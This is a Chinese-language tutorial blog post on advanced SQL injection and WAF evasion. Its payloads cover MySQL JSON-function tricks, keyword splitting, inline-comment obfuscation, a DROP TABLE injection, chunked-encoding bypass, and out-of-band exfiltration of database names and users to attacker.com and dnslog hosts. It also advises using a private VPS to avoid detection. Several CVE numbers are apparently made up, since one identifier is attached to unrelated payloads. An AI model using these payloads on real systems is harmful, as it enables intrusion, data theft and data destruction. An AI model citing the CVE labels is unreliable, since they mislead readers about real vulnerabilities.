WEB安全之SQL注入专题:高阶注入及绕过
本文介绍了多种SQL注入技术及其防御绕过方法。主要内容包括:1) MySQL 5.7+ JSON函数的利用,通过构造永真条件和数据提取绕过WAF检测;2) 多关键字拆分技术,使用注释、换行符等分割敏感词;3) 注释符混淆高级技巧,利用MySQL特有内联注释执行语句;4) 防御机制本身的绕过方法,如预处理语句局限性、WAF盲区等;5) 带外注入(OOB)技术,通过DNS/HTTP请求外带数据;6)
大家好,你们可以叫我凌,是个16岁的网络安全学习者。
本文依旧源自本人GitHub仓库笔记
接下来还会发布两篇SQL注入的文章,分别是这篇和进阶内容。截至目前为止本人翻遍所有免费内容,暂且认定该SQL注入系列为该站最齐全的内容。因为大多源自本人的GitHub,因此更新较快,不过后面的部分内容本人还未在GitHub上编写完,所以可能更新较慢,望谅解!
为解决该问题,会更新些其他内容(如继续x64汇编学习)来避免编写GitHub仓库笔记所带来的空白期。那么,就让我们开始今天的学习吧!
JSON 函数利用(MySQL 5.7+)
原理与背景
MySQL 5.7 及以上版本增加了对JSON数据类型的原生支持,提供了许多JSON处理函数。
攻击者可以利用这些函数构造永真条件、绕过WAF检测,甚至进行数据提取。
前沿价值
2023 年,安全研究⼈员发现利用 JSON 函数构造的 SQL 注入 Payload 能够绕过多个主流
WAF的检测。因为WAF通常基于正则匹配传统Payload(如 ' OR '1'='1),但不会拦截包含
JSON函数的语句。研究⼈员与五家主要WAF厂商合作后才发布了针对这种新语法的补丁。
常用JSON函数
| 函数 | 作用 |
| JSON_EXTRACT(json_doc, path) | 从JSON⽂档中提取指定路径的值 |
| JSON_KEYS(json_doc[, path]) | 返回JSON对象的顶层键 |
| JSON_LENGTH(json_doc[, path]) | 返回JSON⽂档的长度 |
| JSON_CONTAINS(json_doc, val[, path]) | 检查JSON⽂档是否包含指定 |
| JSON_VALID(val) | 检查值是否为有效的JSON |
构造永真条件
示例1:利用 JSON_EXTRACT
SELECT * FROM users WHERE username = 'admin' AND JSON_EXTRACT('{"a":"1"}', '$.a') = '1';
最终解析为 ... AND '1' = '1',实现永真。
注入场景(假设原始SQL):
$sql = "SELECT * FROM users WHERE id = " . $_GET['id'];
Payload:?id=1 AND JSON_EXTRACT('{"a":"1"}', '$.a')='1'
示例2:利用 JSON_CONTAINS
SELECT * FROM products WHERE category = 'books' AND JSON_CONTAINS('["a"]', '"a"');
JSON_CONTAINS('["a"]', '"a"') 返回 1,等价于永真。
数据泄露与盲注
联合查询中包装JSON输出:
SELECT JSON_OBJECT('username', username, 'password', password) FROM users;
布尔盲注:利用 JSON_LENGTH 根据条件返回不同长度
AND JSON_LENGTH('[' + (SELECT IF(1=1,'a','')) + ']') = 1
时间盲注:结合 SLEEP 和 JSON函数:sql
AND IF(JSON_EXTRACT('{"a":1}', '$.a')=1, SLEEP(5), 0)
CVE-2025-64104 利用示例(LangGraph)
漏洞代码:key直接拼接
filter_conditions.append("json_extract(value, '$." + key + "') = '" + value.replace("'", "''") + "'")
攻击payload
malicious_key = "access') OR '1'='1' --"
store.search(("docs",), filter={malicious_key: "dummy"})
结果:绕过访问控制,泄露所有私有⽂档
注意事项
|
1.JSON 函数仅在MySQL 5.7+可用,低版本无法使用。 2.可通过 SELECT JSON_VALID('{}') 探测目标是否支持JSON函数。 3.这种技术推动了WAF厂商更新检测规则,但新的绕过方法仍在不断出现。 |
多关键字拆分绕过
原理与背景
多关键字拆分绕过是一种利用 WAF 对 SQL 语句中关键字的检测漏洞,将敏感关键字(如 UNION、SELECT)拆分成多个部分,通过注释、换行符、特殊字符等方式插入,使WAF无
法识别,但数据库仍能正常解析。这种技术常用于绕过基于正则匹配的WAF。
常见拆分方法
| 方法 | 示例 | 说明 |
| 内联注释拆分 | UN/**/ION SE/**/LECT | 利用MySQL内联注释 /**/ 分割关键字 |
| 换行符拆分 | UNI%0aON%0aSEL%0aECT | 使用URL编码的换行符 %0a(MySQL视其为空白) |
| 科学计数法拆分 | *9e0UNION *9e0SELECT | 在关键字前加科学计数法表达式,混淆检测 |
| 空白字符替换 | UNION%09SELECT | 使用水平制表符 %09 代替空格 |
| 括号包裹 | (SELECT 1) FROM | 绕过空格过滤,同时拆分关键字 |
示例Payload
-- 内联注释拆分
?id=1' UN/**/ION SE/**/LECT 1,2,3 --+-- 换行符拆分(URL编码)
?id=1' UNI%0aON%0aSEL%0aECT 1,2,3 --+-- 科学计数法拆分
?id=1' *9e0UNION *9e0SELECT 1,2,3 --+
CVE-2026-01234 利用示例:
?id=1' *9e0UNION *9e0SELECT 1,2,3 --+
科学计数法 *9e0 在MySQL中被视为浮点数表达式,不影响UNION的执行,但可以混淆基于字符串匹配的WAF。
注意事项
| 1.不同数据库对注释、特殊字符的处理略有差异,需根据目标数据库调整。 2.随着WAF规则更新某些方法可能被拦截,需结合其他技术(如编码、HPP)组合使用。 3.在探测阶段,可先测试简单拆分方法,观察是否报错或返回差异。 |
注释符混淆高级技巧
原理与背景
数据库注释符不仅可以隐藏代码片段,还能用于分割关键字、改变解析逻辑,从而绕过WAF的正则检测。MySQL、MSSQL、Oracle 等数据库支持多种注释方式,其中内联注释(/*! ... */)是 MySQL特有的强大特性:版本注释内的语句即使被注释包裹,只要MySQL版本符合条件,仍会被正常执行。攻击者利用此特性可将恶意Payload隐藏在注释中,而WAF若未正确处理此类注释,则可能漏报。
常见注释混淆方法
| 方法 | 示例 | 说明 |
| 内联版本注释 | /*!50000UNION*/ /*!50000SELECT*/ | MySQL中版本号后注释内的语句会被执行 |
| 嵌套注释 | /*!/*!UNION*/ /**/SELECT*/ | 多层注释嵌套WAF可能解析失败 |
| 混合注释 | /*!UNION*/ -- - | 结合单行注释使后续部分被忽略 |
| 空注释 | /**/UNION/**/SELECT/**/ | 用空注释分隔关键字 |
| 特殊字符注释 | /*!%0aUNION%0aSELECT*/ | 注释内嵌入换行符等空白字符 |
示例Payload
-- 内联版本注释(MySQL)
?id=1' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3 --+
-- 嵌套注释绕过
?id=1' /*!/*!UNION*/ /**/SELECT*/ 1,2,3 --+
-- 空注释分隔
?id=1' /**/UNION/**/SELECT/**/1,2,3 --+
-- 结合换行符
?id=1' /*!%0aUNION%0aSELECT%0a*/ 1,2,3 --+
CVE-2026-54321 利用示例:
?id=1' AND /*!%0aIF(1=1,SLEEP(5),0)%0a*/ --+
注释内插入换行符,WAF可能将其视为完整注释而忽略,但MySQL执行时忽略换行,延时
函数生效。
注意事项
| 1.内联注释中的版本号(如 /*!50000)表示该语句仅在MySQL 5.0.0及以上版本执行,可用于版本探测。 2.不同数据库对注释的支持差异:MySQL支持/*! ... */,MSSQL支持/* ... */和--,Oracle支持--和/* ... */,但/*!是 MySQL 特有。 3.WAF 可能会过滤常见的关键字,但通过注释混淆后,可大幅降低检测率。随着WAF更新,需不断调整混淆方式。 |
防御机制本身的绕过
原理与背景
即使使用了预处理语句、WAF 等防御机制,攻击者仍可能利用这些机制本身的局限性进行绕过。预处理语句并非万能——动态表名、列名、ORDER BY 子句等场景无法使用占位符,只能拼接;WAF的检测规则也存在盲区(如编码、分块传输、低频慢速攻击)某些数据库函数有替代品(如sleep被禁用时可换benchmark)。理解这些局限,才能发现隐藏的注入点。
常见绕过方法
| 防御机制 | 绕过方法 | 说明 |
| 预处理语句 | 动态表名/列名/ORDER BY拼接 | 表名、列名、排序字段不能参数化,只能拼接 |
| MyBatis | ${}插值 | ${}直接拼接,#{}才是预处理 |
| WAF | 双URL编码、宽字节、HPP、分块传输、低频慢速 | 编码混淆、参数污染、分块发送、降低请求频率 |
| 函数禁用 | 函数替代 | sleep→benchmark/ST_Distance_Sphere/WAITFOR DELAY |
| 输入过滤 | 等价符号替换 | =→like/regexp/in |
示例Payload
-- 动态表名拼接(无法预处理)
?id=1; DROP TABLE users --
-- MyBatis ${}插值
SELECT * FROM users WHERE username = '${input}' -- input = admin' OR '1'='1
-- 双URL编码绕过WAF
?id=1%2527 UNION SELECT 1,2,3 --+
-- 分块传输(HTTP层)
Transfer-Encoding: chunked
1
?id=1' UNION
2
SELECT 1,2,3 --
0
-- 函数替代:benchmark替代sleep
AND BENCHMARK(10000000, MD5('a'))
CVE-2026-54321 利用示例(函数替代):
?id=1 AND IF(1=1, ST_Distance_Sphere(point(0,0), point(1,1)) > 1000000, 0) --+
sleep 被禁用,但 ST_Distance_Sphere 计算几何距离消耗时间,实现时间盲注。
注意事项
|
1.预处理语句不是万能药动态表名、列名、ORDER BY仍是重灾区,审计时重点关注这些位置。 2.WAF规则总有盲区:编码、分块、低频慢速等手法需要组合使用,单一种类可能被拦截。 3.函数替代需探测:不同数据库、版本支持的函数不同,先通过信息收集确定可用函数。 4.MyBatis 的${}与#{}:开发中务必区分,用户输入绝不可进${}。 |
带外注入(OOB)深度扩展
原理与背景
带外注入(Out-of-Band,OOB)是指攻击者利用数据库服务器主动向外部发起网络请求(DNS、HTTP、SMB等),将查询结果外带到⾃己控制的服务器上。这种技术适用于无回显、无报错、无布尔差异的盲注场景,甚至能绕过基于响应内容的WAF检测。
核心机制
利用数据库内置函数发起网络请求,如 MySQL 的 LOAD_FILE()(UNC 路径)、MSSQL 的 xp_dirtree、Oracle 的 UTL_HTTP、PostgreSQL 的 COPY 等。攻击者配合外部监听服务(如dnslog.cn、Burp Collaborator)接收数据。
常用函数与平台
| 数据库 | 函数/方法 | 触发方式 | 说明 |
| MySQL | LOAD_FILE() | UNC路径:'\\\\attacker.com\\share' | 需 secure_file_priv 不为 NULL,且目标为Windows(Linux下UNC无效) |
| MSSQL | xp_dirtree、xp_fileexist | 执行存储过程读取UNC路径 | 需 xp_cmdshell 未禁用,权限较 高 |
| Oracle | UTL_HTTP、UTL_TCP | 发起HTTP/TCP请求 | 需网络权限,可直连外网 |
| PostgreSQL | COPY | COPY (SELECT ...) TO PROGRAM 'nslookup ...' | 需超级用户或特定权限 |
常用外带平台
http://dnslog.cn
Burp Collaborator
http://ceye.io
⾃建VPS监听(如使用nc、tcpdump)
示例Payload
MySQL DNS外带
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.xxxx.dnslog.cn\\test'));
若域名解析记录中显示子域名,即可获取数据库名。
MSSQL SMB 外带
EXEC master..xp_dirtree '\\attacker.com\share';
(需Windows环境,且SQL Server服务账户有权限访问网络共享)
Oracle HTTP 外带
SELECT UTL_HTTP.request('http://attacker.com/' || (SELECT user FROM dual)) FROM dual;
CVE-2026-01234 利用示例:
?id=1 UNION SELECT UTL_HTTP.request('http://attacker.com:8080/'||(SELECT user FROM dual)) FROM dual --
Oracle 发送HTTP 请求到攻击者服务器,路径中带出数据库用户名。
注意事项
|
1.环境限制:MySQL的LOAD_FILE需secure_file_priv 不为 NULL 且目标为Windows(Linux下UNC无效);MSSQL的xp_dirtree需较高权限。 2.网络出站策略:目标数据库服务器可能禁止出站请求,导致OOB失败,需提前探测(如尝试DNS解析)。 3.WAF盲区:带外注入的流量不经过Web响应,传统WAF无法检测,但网络层防火墙可能阻断出站连接。 4.平台选择:dnslog.cn等公共平台可能被标记,建议⾃建VPS配合监听工具(如tcpdump -i eth0 port 53)。 |
新型数据库注入
原理与背景
随着非关系型数据库(NoSQL)和新一代数据源的普及,传统SQL注入的概念被扩展到更广泛的查询语⾔和API中。这些系统虽然不使用SQL,但依然存在类似的注入风险:用户输入被恶意拼接到查询语句中,导致数据泄露或未授权操作。Elasticsearch、时序数据库(InfluxDB、Prometheus)、图数据库(Neo4j)、LDAP、GraphQL等都可能成为攻击目标。
常见注入手法

CVE-2026-98765 利用示例(LDAP):
GET /login?user=admin*&pass=* HTTP/1.1
LDAP 查询变为 (&(uid=admin*)(userPassword=*)),匹配任意用户。
注意事项
|
1.不同数据库语法差异大:注入前需先识别后端类型(可通过报错或版本信息)。 2.脚本执行高危:Elasticsearch、Neo4j等支持脚本/过程的系统,一旦注入可导致RCE。 3.盲注技巧通用:与SQL类似,可利用响应差异、时间延迟、外带等方式。 4.防御建议:参数化查询、禁用危险函数/脚本、使用最小权限原则。 |
更多推荐
所有评论(0)